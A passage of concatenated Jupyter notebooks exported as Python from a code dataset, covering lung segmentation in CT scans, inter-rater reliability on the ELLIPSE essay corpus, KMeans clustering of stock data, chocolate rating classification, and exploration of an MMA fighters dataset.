nrrd\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image, ImageDraw\nfrom scipy.spatial import ConvexHull\nfrom skimage import measure\n\nfrom scipy.spatial import ConvexHull\n# -\n\n# ### carrega um exemplo .nrrd\n\n# +\nfilename = '2 CONTRASTE VENOSO.nrrd'\n\n# Read the data back from file\nreaddata, header = nrrd.read(filename)\nprint(readdata.shape)\n# -\n\nsample_volume = readdata\n\n# +\n#visualização do plano axial\n# for i in range(sample_volume.shape[2]):\n# print(i)\n# plt.imshow(sample_volume[:,:,i], cmap='gray')\n# plt.show()\n# -\n\n# ### pego como exemplo um corte do plano coronal\n\n#coronal\n# sample_image = sample_volume[:,351,:]\nsample_image = sample_volume[:,200,:]\n# sample_image = sample_volume[:,:,100]\nplt.imshow(sample_image, cmap='gray')\nplt.show()\n\n\n# ### aplica a normalização entre 0 e 1\n\n# +\ndef clip_ct(volume, min, max):\n \"\"\"\n Clips CT to predefined range and binarizes the values\n \"\"\"\n minimum = np.min(volume)\n maximum = np.max(volume)\n \n if maximum > minimum:\n volume = (volume - minimum) / (maximum - minimum)\n else:\n volume = volume * 0.\n \n print(f'np.max(clipped): {maximum} np.min(clipped): {minimum}')\n \n return volume\n\ndef intensity_seg(ct_numpy, min=-500, max=1400):\n volume = clip_ct(ct_numpy, min, max)\n return measure.find_contours(volume, 0.35)\n\n\n# -\n\n# ### procura por regiões com contorno e uma área de 2000 pixels\n\n# +\ndef euclidean_dist(dx, dy):\n return np.sqrt(np.power(dx, 2) + np.power(dy, 2))\n\ndef contour_distance(contour):\n \"\"\"\n Given a set of points that may describe a contour\n it calculates the distance between the first and the last point\n to infer if the set is closed.\n Args:\n contour: np array of x and y points\n\n Returns: euclidean distance of first and last point\n \"\"\"\n dx = contour[0, 1] - contour[-1, 1]\n dy = contour[0, 0] - contour[-1, 0]\n return euclidean_dist(dx, dy)\n\ndef set_is_closed(contour):\n if contour_distance(contour) < 1:\n return True\n else:\n return False\n \ndef find_lungs(contours):\n \"\"\"\n Chooses the contours that correspond to the lungs and the body\n FIrst we exclude non closed sets-contours\n Then we assume some min area and volume to exclude small contours\n Then the body is excluded as the highest volume closed set\n The remaining areas correspond to the lungs\n\n Args:\n contours: all the detected contours\n\n Returns: contours that correspond to the lung area\n\n \"\"\"\n body_and_lung_contours = []\n\n for contour in contours:\n hull = ConvexHull(contour)\n\n if set_is_closed(contour) and hull.volume > 2000:\n body_and_lung_contours.append(contour)\n\n print(\"body_and_lung_contours: \", len(body_and_lung_contours))\n \n return body_and_lung_contours\n\n\n# -\n\ndef show_contour(image, contours):#, name=None, save=False):\n fig, ax = plt.subplots()\n ax.imshow(image.T, cmap=plt.cm.gray)\n for contour in contours:\n ax.plot(contour[:, 0], contour[:, 1], linewidth=1)\n\n ax.set_xticks([])\n ax.set_yticks([])\n\n plt.show()\n\n\n# ### pega a máscara dos poligonos (pulmões)\n\ndef create_mask_from_polygon(image, contours):\n \"\"\"\n Creates a binary mask with the dimensions of the image and\n converts the list of polygon-contours to binary masks and merges them together\n Args:\n image: the image that the contours refer to\n contours: list of contours\n\n Returns:\n\n \"\"\"\n\n lung_mask = np.array(Image.new('L', image.shape, 0))\n for contour in contours:\n x = contour[:, 0]\n y = contour[:, 1]\n polygon_tuple = list(zip(x, y))\n img = Image.new('L', image.shape, 0)\n ImageDraw.Draw(img).polygon(polygon_tuple, outline=0, fill=1)\n mask = np.array(img)\n lung_mask += mask\n\n lung_mask[lung_mask > 1] = 1 # sanity check to make 100% sure that the mask is binary\n\n return lung_mask.T # transpose it to be aligned with the image dims\n\n\n# ### visualização de um exemplo com os pulmões marcados e as máscaras\n\n# +\nct_numpy = sample_image\nplt.imshow(sample_image.T, cmap='gray')\nplt.show()\n\ncontours = intensity_seg(ct_numpy, min=-500, max=1400)\nprint(\"contours: \", len(contours))\n\n\nlungs = find_lungs(contours)\nprint(\"lungs: \", len(lungs))\n\nshow_contour(ct_numpy, lungs)\nlung_mask = create_mask_from_polygon(ct_numpy, lungs)\n\nplt.imshow(lung_mask.T, cmap='gray')\nplt.show()\n# -\n\n\n","repo_name":"EddyJens/masters-object-detection","sub_path":"LungSegmentation/reference/segment lung nrrd.ipynb","file_name":"segment lung nrrd.ipynb","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"6723999694","text":"# +\n# Import Python library for working with dataframes\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import cohen_kappa_score\n\n# Enables inline display of plots within the Python Notebook (instead of having them pop up on new windows)\n# %matplotlib inline\n\n# Display figures the same way they will be saved.\n# %config InlineBackend.print_figure_kwargs = {'bbox_inches': 'tight'}\n\n# Import Python libraries for plotting\nimport seaborn as sns\nsns.set_theme(style=\"white\")\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nplt.rcParams.update({\n 'figure.dpi': 300,\n \"font.family\": \"serif\",\n})\n# -\n\n# ## Load the dataset\n# The ELLIPSE dataset (\"ELLIPSE_Final_github.csv\") can be downloaded [at this link](https://github.com/scrosseye/ELLIPSE-Corpus).\n#\n\ndf = pd.read_csv('../data/ELLIPSE_Final_github.csv')\n\ndf\n\ndf[['Grammar', 'Vocabulary']].describe()\n\ndf[['Grammar', 'Vocabulary']].corr()\n\n# Print out the name of all columns in the dataframe\ndf.columns\n\n# Create a horizontal bar plot (bar'h') using the values in the 'prompt' column of the dataframe\n# Semicolon is added at the end of the line to suppress some unwanted information from being printed\ndf.prompt.value_counts().plot.barh(figsize=(8,10));\n\n# +\n# Initialize list of variables that we are interested in inspecting and visualizing\nscores = ['Overall', 'Cohesion', 'Syntax', 'Vocabulary', 'Phraseology', 'Grammar', 'Conventions']\ncategorical = ['race_ethnicity', 'gender', 'grade', 'SES']\n\n# Initialize plot. Number inside the parentheses denote the plot's size in inches\nf = plt.figure(figsize=(6, 4))\n\n# Create violinplot that displays the distribution of different scores in the ELLIPSE corpus dataframe\ng = sns.violinplot(x='variable', y='value',\n data=df.melt(id_vars=['text_id_kaggle'], value_vars=scores),\n linewidth=1,\n inner='box',\n )\nfor label in g.get_xticklabels():\n label.set_rotation(90)\n\n# Change labels for x axis and y axis and title. Adjust paddings around the plot. \ng.set(xlabel='Trait', ylabel='Scores', title='Distribution of Scores in ELLIPSE')\nf.tight_layout()\n\n# +\n# Initialize new plots\nfig, ax = plt.subplots(2, 2, figsize=(10, 10))\n\n# Iterate over the different categories of demographic information using the list we created in the previous cell\nfor variable, subplot in zip(categorical, ax.flatten()):\n sns.countplot(x=df[variable], ax=subplot)\n for label in subplot.get_xticklabels():\n label.set_rotation(90)\n\nfig.tight_layout()\n# -\n\n# # Calculate Inter-rater reliability on the Final Dataset\n# We calculate the inter-rater reliability using Quadratic Weighted Kappa. The ELLIPSE dataset release paper reports Cohen's Kappas before on a pre-release version of the dataset (and provides a detailed multi-facet Rasch analysis for the final version), but we would like to know the inter-rater reliability of the final dataset in terms of a simple Kappa metric. We will use this to compare model-human IRR against human-human IRR.\n#\n# We need the scores from each reviewer (before adjudication) to calculate the inter-rater reliability.\n\n# +\n# This version of the data includes rater names\n# We exclude these columns to prevent any names from being printed in the notebook\nboth_raters = pd.read_csv('../data/ell_raw_scores_0627.csv', usecols=lambda x: not x.startswith('Rater'))\n# both_raters = pd.read_csv('../data/All_adjudicated_ELL_data_1022.csv', usecols=lambda x: not x.startswith('Rater'))\n\n# We need to link the Filenames to the Kaggle IDs\nboth_keys = pd.read_csv('../data/ELLIPSE_Final_w_org_kaggle_id.csv', index_col=1, usecols=['text_id_kaggle', 'text_id_original'], dtype=str)\n# -\n\n# ### Fix malformed text identifiers\n# As data is moved between programming languages and analysis softwares (Excel, R, Python, etc.), data types can become confused and malformed.\n#\n# 27 text IDs were misinterpreted as integers by one of these softwares and then saved as a string in the form '3.99E+11' or '3.98662E+11'. This happened at least twice, with different levels of precision each time. To realign the dataframes, we need to address this issue.\n#\n# Luckily, since this only happened to 27 text IDs, the three numbers in \"3.99E+11\" are enough to uniquely identify all the documents.\n\n# +\nprint(\"Malformed in the final dataset:\")\ndisplay(df[df.text_id_kaggle.str.contains('E\\+')].text_id_kaggle.tail().to_frame())\n\nprint(\"Malformed in the dataframe that links different document identifiers:\")\ndisplay(both_keys[both_keys.text_id_kaggle.str.contains('E\\+')].text_id_kaggle.tail().to_frame())\n# -\n\n# ### Re-create malformed identifiers\n\n# +\n# Print how many samples contain 'E+' in the text_id_kaggle column\nprint(\"Samples with corrupted text_id_kaggle:\", both_keys.text_id_kaggle.str.contains('E\\+').sum())\n\n# Construct a boolean indexer to pull these malformed IDs out\nid_is_scientific_notation = both_keys.text_id_kaggle.str.contains('E\\+')\n\n# Wherever a malformed ID exists, convert it to a float then back to scientific notation with only 2 decimal places of precision\nboth_keys.loc[id_is_scientific_notation, 'text_id_kaggle'] = both_keys[id_is_scientific_notation].text_id_kaggle.astype(float).map(lambda x: f'{x:.2E}')\n# -\n\n# ### Re-create original identifiers\n# Original identifiers are simply the filename minus the file extension. This is simple to fix.\n#\n# Some samples went through a cleaning process. These are duplicated in the dataframe, so we need to identify and remove them.\n#\n# We accomplish this by creating two boolean indexers. The first will tell us whether text_id_original is duplicated. The second will tell us whether the filename contains \"_cleaned\". We want to select the cleaned version of duplicate entries.\n\n# +\n# Remove the file extension in the filename to get the original text id\n# Some filenames looked like FILE_ID_cleaned.txt, so we use a regular expression to remove that as well\nboth_raters['text_id_original'] = both_raters['Filename'].str.extract(r'(.*?)(?:_cleaned)?.txt', expand=False)\n\n# this creates a boolean index for all samples that have the same text_id_original as another sample\nduplicated = both_raters.duplicated(subset=['text_id_original'], keep=False)\n\n# this creates a boolean index for all samples that contain \"_cleaned\" in the filename\ncleaned = both_raters.Filename.str.contains('_cleaned')\n\n# this selects samples that are not duplicates, or (if they are duplicated), selects the cleaned version\nboth_raters = both_raters.loc[~duplicated | cleaned]\n# -\n\n# ### Select all samples that were used in the final dataset\n\n# map the text_id_original to text_id_kaggle\nboth_raters['text_id_kaggle'] = both_raters.text_id_original.map(both_keys['text_id_kaggle'])\nboth_raters = both_raters.loc[both_raters.text_id_kaggle.notnull()]\n\n# ### Verify Data\n#\n# Here, we `assert` that all samples in the final dataframe are also in `both_raters`. The `assert` statement will throw an error if the condition is not met.\n#\n# For the equality check to work, we need to sort the values and drop the index from both Series.\n\nassert (\n df\n .text_id_kaggle\n .sort_values()\n .reset_index(drop=True)\n .equals(\n both_raters\n .text_id_kaggle\n .sort_values()\n .reset_index(drop=True)\n )\n)\n\nboth_raters\n\n# ### Triple Check that we have the right data\n#\n# The texts are not exactly the same across the two versions of the ELLIPSE dataset. This is because the data was cleaned before it was released by regularizing whitespace and removing strange unicode errors. We can still compare the texts to make sure they are roughly the same by using an edit distance. For this purpose, we import the Levenshtein package and ensure that the edit distance between the old version of the text and the new version of the text is greater than .80 (less than 20% of the characters need to inserted or deleted to make the texts identical). \n\n# +\nfrom Levenshtein import ratio\n\nscore_names = ['Overall', 'Cohesion', 'Syntax', 'Vocabulary', 'Phraseology', 'Grammar', 'Conventions']\n\ndef triple_check(train_df, new_df):\n train_df = train_df.sort_values(by=['text_id_kaggle']).reset_index(drop=True)\n new_df = new_df.sort_values(by=['text_id_kaggle']).reset_index(drop=True)\n for a, b in zip(train_df.itertuples(), new_df.itertuples()):\n # There are some minor differences between the text in these versions, mostly attributable to whitespace and strange unicode characters\n # An edit ratio of 0.80 is more than sufficient to confirm that these are the same texts\n text_a = re.sub(\"\\s+\", \"\", a.full_text)\n text_b = re.sub(\"[\\sÂ]+\", \"\", b.Text)\n assert ratio(text_a, text_b) > 0.80, f'{text_a}\\n{\"--\"*80}\\n{text_b}'\n print('Text and Text IDs all match.')\n\ntriple_check(df, both_raters)\n# -\n\n# ## Calculate Kappas\n\nfor score in ['Overall', 'Cohesion', 'Syntax', 'Vocabulary', 'Phraseology', 'Grammar', 'Conventions']:\n qwk = cohen_kappa_score(both_raters[f'{score}_1'], both_raters[f'{score}_2'], weights='quadratic')\n print(f'{score}: {qwk:.3f}')\n\n# ## Save the data\n#\n# We will use this for calculating model-human QWK later.\n\nboth_raters.to_csv('../data/both_raters.csv', index=False)\n","repo_name":"learlab/ellipse-methods-showcase","sub_path":"src/0-eda.ipynb","file_name":"0-eda.ipynb","file_ext":"py","file_size_in_byte":9207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"41069481226","text":"# + id=\"Lfbm4hQFAWMB\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nnp.random.seed(1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"df76miZXAGOF\" outputId=\"92d7cfde-03ec-420e-9a74-093ea37ee280\"\nfrom google.colab import drive\ndrive.mount('/content/gdriv')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 290} id=\"dml29MXTAUk4\" outputId=\"4a924e30-54d0-4b29-e023-77964bc1a9c8\"\nimport os\nfile_path = '/content/gdriv/MyDrive/산데과'\nfile_list = os.listdir(file_path)\nstock = pd.read_csv(file_path+'/'+file_list[4],encoding = 'euc-kr')\nstock.head()\n\n# + id=\"vvAPkp16Ad7T\"\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import minmax_scale\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 255} id=\"2yUnIxLRA8l5\" outputId=\"49cd0293-9864-427b-b871-b947fef066be\"\nnames = stock.iloc[:,0]\ntrain = stock.iloc[:,1:]\ntrain.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"qeOh1sqCBLTw\" outputId=\"491e6e9d-b641-4b7f-a682-1a70e8b3154d\"\nscaled_train = minmax_scale(train,axis=1,copy=True)\nscaled_train\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 284} id=\"QhxDuLbMAqdM\" outputId=\"0408d3cb-ac03-4db2-ac99-2799e572d98c\"\nscore = []\nfor i in range(2,30):\n model = KMeans(n_clusters=i)\n res = model.fit(scaled_train)\n score.append(res.score(scaled_train))\n\nplt.plot(score,marker='o')\n\n# + id=\"q89uoBLgBoHM\"\n#n_cluster = 8 정도\n#위의 그래프를 보면 7,8정도에서 기울기가 일정해 지는 것이 보인다.\n#그렇기에 더 이상 군집을 증가해서 얻는 score 이득은 없다고 판단\n\nmodel=KMeans(n_clusters=8)\nres=model.fit(scaled_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 255} id=\"KRU8bvExCFk2\" outputId=\"e9c7c8a9-202c-495f-c109-1581b4961e39\"\nres_data = pd.concat([pd.DataFrame(res.labels_),pd.DataFrame(scaled_train)],axis=1)\nres_data.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ASF9fGbmz365\" outputId=\"5391cc5b-54d5-4986-aee8-5a804d6c2433\"\nres.labels_\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"WDTdGoMUCVXo\" outputId=\"9b8ad287-eb36-4d9c-e0e3-e28ad0d1aeba\"\nfor i in range(8):\n temp = res_data[res_data.iloc[:,0]==i]\n temp_res = temp.iloc[:,1:]\n for j in range(len(temp_res)):\n plt.plot(temp_res.iloc[j,:])\n plt.title(\"cluster\"+str(i))\n plt.show()\n\n# + id=\"h56p_bsPDKY2\"\n\n","repo_name":"busung/machine-learning-practice","sub_path":"산데과/201711514_박주호_과제6(산데과).ipynb","file_name":"201711514_박주호_과제6(산데과).ipynb","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"12363044095","text":"#
Machine Learning Project
\n#
Course Name: Artificial Intelligence Lab
\n#
Course Code: CSE-312
\n#
Group : Crypton
\n#
Md. Alahi Almin Tansen (190321028)
\n#
Antora Ghosh (200121033)
\n#
Afsana Mim (200121039)
\n#
Khalid Mahmud (190321022)
\n#\n#\n#\n\n# +\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport warnings\nwarnings.filterwarnings('always')\nwarnings.filterwarnings('ignore')\n# -\n\n# ### Load the Data file\n\ndf = pd.read_csv(\"./data/chocolate.csv\")\n\n# ### Viewing the first 10 row of csv file\n\ndf.head(10)\n\n# ### Cheaking the data types of each column\n\ndf.dtypes\n\n# ### Checking column name\n\ndf.columns\n\n# ### Making the column name more readable\n\ndf.columns=[\"Company\",\"Bar_Origin\",\"REF\",\"Review_Year\",\"Cocoa_Percent\",\"Company_Location\",\"Rating\",\"Bean_Type\",\"Bean_Origin\"]\n\ndf.head(10)\n\ndf.describe()\n\ndf.info()\n\n# ### Checking missing values\n\ndf.isna().sum()\n\n# Removing 2 missing value row\ndf.dropna(axis=0,inplace=True)\n\ndf\n\n# ### Checking the Correlation\n\nplt.figure(figsize=(12,10))\nsns.heatmap(df.corr(),annot=True)\nplt.show()\n\n# ### Droping duplicate\n\ndf.drop_duplicates()\n\n# ### Fixing Cocoa_Percent\n\ndf.dtypes\n\ndf['Cocoa_Percent'] = df['Cocoa_Percent'].str.replace('%','').astype(float)/100 \n\ndf.head(10)\n\n# ### Categorical features & Numerical features\n\n# + run_control={\"marked\": false}\n#categorical features\ncategorical = df.select_dtypes(include =[object])\nprint(\"Categorical Features:\",categorical.shape[1])\n\n#numerical features\nnumerical= df.select_dtypes(include =[np.float64,np.int64])\nprint(\"Numerical Features:\",numerical.shape[1])\n# -\n\n# ### Data Cleaning\n\ndf['Rating'].unique()\n\ndf['Rating'].value_counts()\n\n\n# +\n#Rounding the Rating\n\ndef rounded(rating):\n if (rating < 1 ):\n return 0\n elif (rating > 0 ) and (rating < 2 ):\n return 1\n elif (rating >= 2 ) and (rating < 3 ):\n return 2\n elif (rating >= 3 ) and (rating < 4 ):\n return 3\n elif (rating >= 4 ) and (rating < 5 ):\n return 4\n else:\n return 5\n \ndf['Rating']=df['Rating'].map(rounded)\n\nprint(df['Rating'].unique())\n# -\n\n# ### Data cleaning the Company_Location column\n\nprint(np.sort(df['Company'].unique()))\n\ndf['Company']=df['Company'].replace('Na�ve','Naive')\nprint(np.sort(df['Company'].unique()))\n\n# +\n# Data cleaning the Bar Origin column\n\nprint(np.sort(df['Bar_Origin'].unique()))\n\n# +\n# Data cleaning the Company_Location column\n\nprint(np.sort(df['Company_Location'].unique()))\n# -\n\ndf['Company_Location'].replace({'Domincan Republic':'Dominican Republic','Niacragua':'Nicaragua','Eucador':'Ecuador'},inplace=True)\nprint(np.sort(df['Company_Location'].unique()))\n\n# ### Plotting the data\n\ndf\n\nplt.figure(figsize=(10,5))\nsns.countplot('Review_Year', data=df, palette='rocket')\nplt.show()\n\nplt.figure(figsize=(10,5))\nsns.countplot('Cocoa_Percent', data=df, palette='rocket')\nplt.show()\n\nplt.figure(figsize=(10,5))\nsns.countplot('Rating', data=df, palette='rocket')\nplt.show()\n\ndf.hist()\nplt.show()\n\n# ### Cocoa percentage affect in chocolates ratings\n\nplt.figure(figsize=(15,6))\nsns.lineplot(x='Cocoa_Percent', y='Rating', data=df);\n\n# ### Cocoa percentage in chocolate over the years\n\n# +\ndcoco = df.groupby('Review_Year').aggregate({'Cocoa_Percent':'mean'})\ndcoco = dcoco.reset_index()\n\n# Plotting\nsns.set()\nplt.figure(figsize=(15, 4))\nax = sns.lineplot(x='Review_Year', y='Cocoa_Percent', data=dcoco)\nax.set(xticks=dcoco.Review_Year.values)\nplt.xlabel(\"\\nYear of Review\")\nplt.ylabel(\"Average Cocoa Percentage\")\nplt.title(\"Cocoa Percentage patterns over the years \\n\")\nplt.show()\n# -\n\n# ### Rating of chocolate bars over the years\n\n# +\ndrate = df.groupby('Review_Year').aggregate({'Rating':'mean'})\ndrate = drate.reset_index()\n\n# Plotting\nsns.set()\nplt.figure(figsize=(15, 4))\nax = sns.lineplot(x='Review_Year', y='Rating', data=drate)\nax.set(xticks=drate.Review_Year.values)\nplt.xlabel(\"\\nDate of Review\")\nplt.ylabel(\"Average Rating\")\nplt.title(\"Average Rating over the years \\n\")\nplt.show()\n# -\n\n# ### Top Companies \n\n# +\n# Top 5 companies in terms of chocolate bars \nd = df['Company'].value_counts().sort_values(ascending=False).head(5)\nd = pd.DataFrame(d)\nd = d.reset_index() # dataframe with top 5 companies\n\n# Plotting\nsns.set()\nplt.figure(figsize=(10,4))\nsns.barplot(x='index', y='Company', data=d)\nplt.xlabel(\"\\nChocolate Company\")\nplt.ylabel(\"Number of Bars\")\nplt.title(\"Top 5 Companies in terms of Chocolate Bars\\n\")\nplt.show()\n# -\n\n# ### Top Countries\n\n# +\n# Top 5 countries\nd = df['Company_Location'].value_counts().sort_values(ascending=False).head(5)\nd = pd.DataFrame(d)\nd = d.reset_index() # dataframe with top 5 contries\n\n# Plotting\nsns.set()\nplt.figure(figsize=(10,4))\nsns.barplot(x='index', y='Company_Location', data=d)\nplt.xlabel(\"\\nCountry\")\nplt.ylabel(\"Count\")\nplt.title(\"Top 5 Countries\")\nplt.show()\n# -\n\nsns.pairplot(df,hue='Rating')\nplt.show()\n\n# * From the pairplot we can see that the bean with cocoa percent 65-75 is given highest rating and above it is given lowest rating. Also there is linear relationship between review and ref feature.\n\nplt.figure(figsize=(8,4))\nsns.heatmap(df.corr(),annot=True)\nplt.show()\n\ndf.head()\n\n# ### Converting String to numerical\n\nfrom sklearn.preprocessing import LabelEncoder\ncol = ['Company', 'Bar_Origin', 'Company_Location', 'Bean_Type', 'Bean_Origin']\nle = LabelEncoder()\nfor LE in col:\n df[LE] = le.fit_transform(df[LE])\n\ndf.head()\n\nplt.figure(figsize=(10,6))\nsns.heatmap(df.corr(),annot=True)\nplt.show()\n\n# ### Separating dependent and independent variables\n\n# +\nX=df.drop(['Rating'],axis=1) #independent variable\n\ny=df['Rating'] #dependent variable\n\nX.head()\n# -\n\ny.head()\n\n#Scaling the independent variable to bring data in one range \nfrom sklearn.preprocessing import StandardScaler\nSS=StandardScaler()\n\nX=SS.fit_transform(X)\nX\n\n# +\n#splitting the data into train(70%) and test(30%) for model\n\nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.3,random_state=42)\n# -\n\nX_train.shape,X_test.shape,y_train.shape,y_test.shape\n\n# ### Machine Learning Model\n\n# +\n# Using RandomForestClassifier \n\nfrom sklearn.ensemble import RandomForestClassifier\nRf=RandomForestClassifier(random_state=42)\n\n# Number of trees in random forest\nn_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 10)]\n\n# Number of features to consider at every split\nmax_features = ['auto', 'sqrt']\n\n# Maximum number of levels in tree\nmax_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\nmax_depth.append(None)\n\n# Minimum number of samples required to split a node\nmin_samples_split = [2, 5, 10]\n\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [50,100,150]\n\n# Method of selecting samples for training each tree\nbootstrap = [True, False]\n\n# Create the random grid\nrandom_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'bootstrap': bootstrap}\nfrom pprint import pprint\npprint(random_grid)\n# -\n\nfrom sklearn.model_selection import RandomizedSearchCV\nRF=RandomizedSearchCV(estimator=Rf, param_distributions=random_grid,\n n_iter = 100, scoring='neg_mean_absolute_error', \n cv = 3, verbose=2, random_state=42, n_jobs=-1,\n return_train_score=True)\n\nRF.fit(X_train,y_train)\n\n# ### Prediction\n\ny_pred=RF.predict(X_test)\ny_pred[0:5]\n\ny_test[0:5]\n\n# ### Accuracy of the model\n\nfrom sklearn import metrics\naccuracy=metrics.accuracy_score(y_test,y_pred)\nprint('Accuracy of model is :',accuracy)\n\n# ### Classification report\n\nfrom sklearn.metrics import classification_report\nprint('Classification report:','\\n',classification_report(y_test,y_pred))\n","repo_name":"skhalidmahmud/Chocolate-Ratings","sub_path":"CSE_312_Lab_Final_by_Crypton.ipynb","file_name":"CSE_312_Lab_Final_by_Crypton.ipynb","file_ext":"py","file_size_in_byte":8053,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"27510616840","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"8W9F6VOhZcW3\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport plotly.express as px\nimport seaborn as sns\nfrom pandas import Series,DataFrame\n\n# + id=\"aZVm7OZzeUcF\"\npd.set_option('display.max_columns', None)\n\n# + id=\"_JUZYbJqsKqW\"\ngb1=pd.read_csv('/content/MMA FIGHTERS & GYMS.csv')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 887} id=\"NsMVNetTsalr\" outputId=\"4a26dd39-5f89-4910-c704-c79d574beae1\"\ngb1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"O1rNNOzLMeu3\" outputId=\"61730655-ecb9-4b69-bfc4-83107a272002\"\ngb1.dtypes\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"gF-0GxgINIqH\" outputId=\"adc7a1d9-74f6-4401-a48f-ddac9532ca6e\"\ngb1.Aerobic_and_Anaerobic_conditioning= gb1.Aerobic_and_Anaerobic_conditioning.astype('int') \ngb1.dtypes\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 887} id=\"6G3JF_WSONAz\" outputId=\"5e9f5263-705d-4e26-cb0e-17eefeb2a2d9\"\ngb1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 846} id=\"6PzZeonHwQHe\" outputId=\"9925561c-ae8f-44c5-bd7c-dbde17469b53\"\ngb1.head(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 830} id=\"27y9wJywHHar\" outputId=\"cf334ed2-b4b8-4926-fb35-359d140d43ad\"\ngb1.tail(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jFGUv1ZaHb6J\" outputId=\"6dec2015-daf6-4248-91fb-26ee1d1190e9\"\ngb1.columns\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"66K_cnNQfnp-\" outputId=\"abd1ab8a-6f72-4dc2-b46e-3bf30f935eb3\"\ngb1.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tMEJ3gjm4dxW\" outputId=\"bd2fed8a-8a37-4c0b-8f59-5ef6cdc6f749\"\ngb1.duplicated().sum\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 66} id=\"5eHcGDBO4SI5\" outputId=\"a8d21f2e-bc82-4941-d69f-8552b843f343\"\nduplicate=gb1[gb1.duplicated()]\nduplicate\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 274} id=\"IJRx4owfH9Kb\" outputId=\"dacb2584-6d06-4db0-c2df-ed65952adf3b\"\ngb1.describe()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 408} id=\"0Nr3Rv8kgDEI\" outputId=\"27c0315c-88d0-479a-cf84-e87e42c2151f\"\ngb1.isnull()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tLqOHn4AHyWr\" outputId=\"7a1de63d-cee3-49d8-f8de-5018a2b3fd30\"\ngb1.isnull().sum()\n\n# + id=\"4RrzHwLrGOcR\"\n#gb1.dropna(inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1KhE3B6fnlPZ\" outputId=\"df86c3b5-ea48-4418-f4e7-a74ef9e5dbfb\"\ngb1.shape\n\n# + [markdown] id=\"j7VHkebrA79k\"\n# Count Plot and Value Count\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"upmahSuL8AVp\" outputId=\"e2d135d1-fc7b-478b-c709-4b309a521aef\"\ngb1['Most_entertaining'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"a1vuKlSCOWBz\" outputId=\"755cdcd3-d09f-4a4e-e997-d4f42d67e407\"\nsns.countplot(x='Most_entertaining',data=gb1)\nplt.title(\"Most_entertaining\")\nplt.show()\n\n\n# + id=\"qRxu1oG5Qt8u\"\ndef split_multicolumn(Most_entertaining):\n result_df = Most_entertaining.to_frame()\n options = []\n # Iterate over the column\n for idx, value in Most_entertaining[Most_entertaining.notnull()].iteritems():\n # Break each value into list of options\n for option in value.split(';'):\n # Add the option as a column to result\n if not option in result_df.columns:\n options.append(option)\n result_df[option] = False\n # Mark the value in the option column as True\n result_df.at[idx, option] = True\n return result_df[options]\n\n\n# + id=\"Exg0a2_MQ696\"\nMost_entertaining_gb = split_multicolumn(gb1.Most_entertaining)\nMost_entertaining_split = Most_entertaining_gb.sum().sort_values(ascending=False)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 700} id=\"L_S31j0dQ9IG\" outputId=\"fb233d7b-6926-4103-d8a5-6b0ca9268a02\"\nplt.figure(figsize=(15,12))\nSplit=sns.barplot(x=Most_entertaining_split.values, y=Most_entertaining_split.index);\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cbRoPKAkJRb9\" outputId=\"fb22687a-3027-43a7-f14a-643d0b160c2c\"\ngb1['Lose_weight'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"oeWZFhFg13cZ\" outputId=\"1880eaae-4f4a-494f-eb4a-c88b5324a990\"\nsns.countplot(x='Lose_weight',data=gb1)\nplt.title(\"Lose_weight\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} 